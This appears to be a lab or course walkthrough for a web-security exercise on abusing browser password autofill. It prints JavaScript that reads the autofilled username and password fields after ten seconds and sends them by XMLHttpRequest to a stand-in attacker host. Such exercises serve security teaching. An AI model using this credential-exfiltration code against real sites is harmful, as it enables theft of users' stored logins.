TASK_13.md

Task 13 [Try Now]

Objectives:

1. Enter a Username/Password and allow the browser to remember it
2. Reload the page so the auto-complete now adds the Username/Password automatically
3. Write JS attack code which waits for 10 seconds, then submits the form automatically to your Attack server using an XMLHttpRequest() call

This is similar to TASK_12, just the change is in the delivery. Earlier it was submitting the form, this time we have to send a XHR request.

Well, XHR are the way by which you can send HTTP requests programatically using JS.

To accomplish this task, we have to use XMLHttpRequest and the setTimeout function which will call it after 10 seconds

document.forms[0].autocomplete = "on";
setTimeout(() => {
  var xhttp = new XMLHttpRequest();
  const e = document.querySelector("input[type='text']");
  const p = document.querySelector("input[type='password']");
  xhttp.open("GET", "http://attack-site.com?e=" + e.value + "&p=" + p.value, true);
  xhttp.send();
}, 10000);

To check if the request has been made to the endpoint or not, you can see all the requests in Network Tab

For POC, Click Here

More Resources

1. Get Started with XHR